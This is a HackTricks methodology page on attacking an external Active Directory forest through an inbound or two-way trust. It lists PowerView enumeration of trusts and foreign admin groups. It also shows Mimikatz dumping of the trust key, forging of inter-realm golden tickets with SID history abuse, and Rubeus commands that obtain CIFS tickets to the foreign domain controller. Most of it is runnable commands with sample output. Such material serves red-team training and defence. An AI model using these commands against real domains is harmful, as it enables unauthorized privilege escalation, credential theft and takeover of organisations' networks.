hacktricks/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md

# External Forest Domain - OneWay (Inbound) or bidirectional

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In this scenario an external domain is trusting you (or both are trusting each other), so you can get some kind of access over it.

## Enumeration

First of all, you need to **enumerate** the **trust**:

```powershell
Get-DomainTrust
SourceName      : a.domain.local   --> Current domain
TargetName      : domain.external  --> Destination domain
TrustType       : WINDOWS-ACTIVE_DIRECTORY
TrustAttributes : 
TrustDirection  : Inbound          --> Inboud trust
WhenCreated     : 2/19/2021 10:50:56 PM
WhenChanged     : 2/19/2021 10:50:56 PM

# Get name of DC of the other domain
Get-DomainComputer -Domain domain.external -Properties DNSHostName
dnshostname           
-----------           
dc.domain.external

# Groups that contain users outside of its domain and return its members
Get-DomainForeignGroupMember -Domain domain.external
GroupDomain             : domain.external
GroupName               : Administrators
GroupDistinguishedName  : CN=Administrators,CN=Builtin,DC=domain,DC=external
MemberDomain            : domain.external
MemberName              : S-1-5-21-3263068140-2042698922-2891547269-1133
MemberDistinguishedName : CN=S-1-5-21-3263068140-2042698922-2891547269-1133,CN=ForeignSecurityPrincipals,DC=domain,
                          DC=external

# Get name of the principal in the current domain member of the cross-domain group
ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1133
DEV\External Admins

# Get members of the cros-domain group
Get-DomainGroupMember -Identity "External Admins" | select MemberName
MemberName
----------
crossuser

# Lets list groups members
## Check how the "External Admins" is part of the Administrators group in that DC
Get-NetLocalGroupMember -ComputerName dc.domain.external
ComputerName : dc.domain.external
GroupName    : Administrators
MemberName   : SUB\External Admins
SID          : S-1-5-21-3263068140-2042698922-2891547269-1133
IsGroup      : True
IsDomain     : True

# You may also enumerate where foreign groups and/or users have been assigned 
# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.
```

In the previous enumeration it was found that the user **`crossuser`** is inside the **`External Admins`** group who has **Admin access** inside the **DC of the external domain**.

## Initial Access

If you **couldn't** find any **special** access of your user in the other domain, you can still go back to the AD Methodology and try to **privesc from an unprivileged user** (things like kerberoasting for example):

You can use **Powerview functions** to **enumerate** the **other domain** using the `-Domain` param like in:

```powershell
Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
```

{% content-ref url="./" %}
[.](./)
{% endcontent-ref %}

## Impersonation

### Logging in

Using a regular method with the credentials of the users who is has access to the external domain you should be able to access:

```powershell
Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator
```

### SID History Abuse

You could also abuse [**SID History**](sid-history-injection.md) across a forest trust.

If a user is migrated **from one forest to another** and **SID Filtering is not enabled**, it becomes possible to **add a SID from the other forest**, and this **SID** will be **added** to the **user's token** when authenticating **across the trust**.

{% hint style="warning" %}
As a reminder, you can get the signing key with

```powershell
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local
```
{% endhint %}

You could **sign with** the **trusted** key a **TGT impersonating** the user of the current domain.

```bash
# Get a TGT for the cross-domain privileged user to the other domain
Invoke-Mimikatz -Command '"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'

# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:C:\path\save\ticket.kirbi /nowrap

# Now you have a TGS to access the CIFS service of the domain controller
```

### Full way impersonating the user

```bash
# Get a TGT of the user with cross-domain permissions
Rubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap

# Get a TGT from the current domain for the target domain for the user
Rubeus.exe asktgs /service:krbtgt/domain.external /domain:sub.domain.local /dc:dc.sub.domain.local /ticket:doIFdD[...snip...]MuSU8= /nowrap

# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:doIFMT[...snip...]5BTA== /nowrap

# Now you have a TGS to access the CIFS service of the domain controller
```

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<summary>Support HackTricks</summary>

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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}